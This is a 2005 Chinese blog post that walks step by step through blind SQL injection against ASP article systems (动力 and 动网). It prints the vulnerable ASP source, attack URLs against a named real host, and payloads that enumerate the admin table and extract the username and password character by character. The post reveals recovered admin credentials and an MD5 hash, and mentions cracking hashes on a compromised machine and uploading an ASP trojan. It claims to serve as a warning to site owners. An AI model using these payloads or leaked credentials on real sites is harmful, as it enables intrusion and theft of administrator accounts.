|
发表日期:2005年5月19日 今天心情好好哦~~在发点经典的东东~~~送给LvHuaNa和他学到了不少基础东东 大家绝的文章好就支持一下哦~~~~~~~~~ 注入攻击标准步骤 ACCESSSQLserver linuxmysql 1,找注入点(*) xxxxXXXXXXXX.asp?XXXXXXXXX=id Article_Show.asp?ArticleID=1 xxxx.asp?xxx=id&xxx=ixx
selcetcount(*)fromusers clng() 2,找管理员密码(*)
3,找后台地址(X) 4,上传asp木马(*) 5,提升权限(X)
http://127.0.0.1/Article_Print.asp?ArticleID=1'
<!--#includefile="Inc/conn.asp"--> <% dimArticleID,sql,rs ArticleID=trim(request("ArticleID")) ifArticleId=""then response.Redirect("Default.asp") endif sql="select*fromarticlewhereArticleID="&ArticleID&""
Setrs=Server.CreateObject("ADODB.Recordset") rs.opensql,conn,1,3 ifrs.bofandrs.eofthen response.Write("<p>找不到文章</p>") else %>
在地址栏中提
交and1=1出现错误看来Article_Show.asp文件已经做了过滤~接着,看到打印此文这个功能。点击,看到 Article_Print.asp?ArticleID=1; 提交http://php.77169.com:88/Article_Print.asp?ArticleID=1'返回错误信息,
接着提交http://php.77169.com:88/Article_Print.asp?ArticleID=1;页面正常返回 select*fromarticlewhereArticleID=1;
再提交http://php.77169.com:88/Article_Print.asp?ArticleID=1and1=1页面正常返回 select*fromarticlewhereArticleID=1
和 http://php.77169.com:88/Article_Print.asp?ArticleID=4and1=2 select*fromarticlewhereArticleID=0 返回找不到该文章。看来没有没有注意到这个文件的问题哦!! 有了上面的条件基本上就可以断定这个页面存在SQL注入漏洞了(因为别的页面提交都返回错误信息)
2,找管理员密码 下面我们就开始注入了,和别的SQL注入一样, 猜管理员帐号表 http://php.77169.com:88/Article_Print.asp?ArticleID=4andexists(select*fromadmin)成功返回 exists(select*fromadmin)=1 exists(select*fromadmin)=0
我们再来猜他的管理员表中是否有一个ID段
http://php.77169.com:88/Article_Print.asp?ArticleID=4andexists(selectidfromadmin)
OK,页面返回正常,说明他的admin表中有个id的字段。
这里的意思是看看他的admin表中是否有username字段
页面返回正常,说明在admin中有一个username字段(selectusernamefromadmin)
我们继续猜他放密码的字段andexists(selectpasswordfromadmin)
返回正常的页面,说明他的admin表中有个password字段
好了,我们下面来猜他的管理员的id值andexists(selectidfromadminwhereid=1)
意思是看看他的admin表中是否有一个id=1的值
OK,返回了正常的页面,说明我们猜对了
有时候管理员的ID值不是1,那么我们可以把ID=的值换成别的,2,3,4,等等一直到页面正常返回为止。
下面我们来猜他的管理员的名字长度
andexists(selectidfromadminwherelen(username)<6andid=1)
这里我们猜他的管理员长度小于6,呵呵,返回了正常的页面,还好,名字不是太长,
我们一个个来实验好了andexists(selectidfromadminwherelen(username)=5andid=1)
返回了正常的页面,好了用户名的长度我们已经猜出了为5
下面我们来我们的重点任务-猜帐号
用户名字段长度 and1=(selectmin(id)fromadminwherelen(username)>5)
这是密码字段长 and1=(selectmin(id)fromadminwherelen(password)<10)
and1=(selectmin(id)fromadminwheremid(username,1,1)='a')
破用户名! and1=(selectidfromadminwhereasc(mid(username,1,1))>120) and1=(selectidfromadminwhereasc(mid(username,1,1))>120) and1=(selectidfromadminwhereasc(mid(username,1,1))>100) and1=(selectidfromadminwhereasc(mid(username,1,1))>80) 80<X<100 and1=(selectidfromadminwhereasc(mid(username,1,1))>120) and1=(selectidfromadminwhereasc(mid(password,1,1))=34) and2=(selectidfromadminwhereid=2andasc(mid(username,1,1))>120)
把MID部分改就行!
right(user,2)表示从右边开始的两个字符。 left(user,2)表示从左边开始的两个字符!
所以你先用left(user,1)='c'得到第一位,那就left(user,2)='ca'
我们再来猜他的密码的asc值 chr(52)
and1=(selectmin(id)fromadminwherelen(password)<10)返回错误 and1=(selectmin(id)fromadminwherelen(password)=16)正常返回页面,到这里我就有点高兴不起来了,因为很有可能管理员 的密码是md5加密的。
如果密码是数字的话还好办,用工具暴力破解几分钟就可以破出来,但是如果是数字加字母的呢?放心不要紧,MD5我们照样破别管那 些,继续破。
我快累死了,终于把管理员的用户名和密码都破出来了,用户名:admin密码:469e80d32c0559f8 admin888
每错,果然是MD5加密的。
有些人看到MD5加密的可能就会拿出暴力破解软件慢慢的破解,包括我自己也是这样,如果过了20分钟密码还没有出来的话,那么
我就不会用这个方法了,如果是数字的话,早就出来了,字母就难了,找个肉鸡挂上扫几天也许有结果。
当天晚上我就把这个漏洞用QQ通知了华夏站长,没想到他居然告诉我说"那个admin帐号是他故意加的,没有权限"
不过能有几个站长会这样做啊,(还是我好,只有BLOG,卡卡不过鱼给我的BLOG程序,不用别人破坏有时候自己还出问题~~我晕)
现在80%的动网和动力系统都存在打印页面SQL注入的漏洞,希望各站站长注意.
在看到动力系统的漏洞以后,我就想看看动网文章系统是否也存在同样的漏洞。
于是就到网上随便搜索一下,(KAO出来一大堆)随便找一个测试一下,结果让我大吃一惊。 下面是关于动网文章系统的打印页面的漏洞。
其实动网文章系统和动网和动力一样。不过动网文章系统比动力系统危险多了。
动力的密码是经过MD5加密的,而动网文章系统的密码是明文显示的。
动网文章系统存在漏洞的页面是/printpage.asp,也是打印页面的漏洞,
入侵方法和动网和动力系统一样。
这篇文章主要是为了提醒那些网站的管理员,一定要了解自己的站。
把不要的东西,能删的全给它删了,我自己的站就是动力系统的,不过打印页面我早已经把它删了。
总的来说动力文章系统还是比较安全的,
相对的动网文章就有点危险了......
|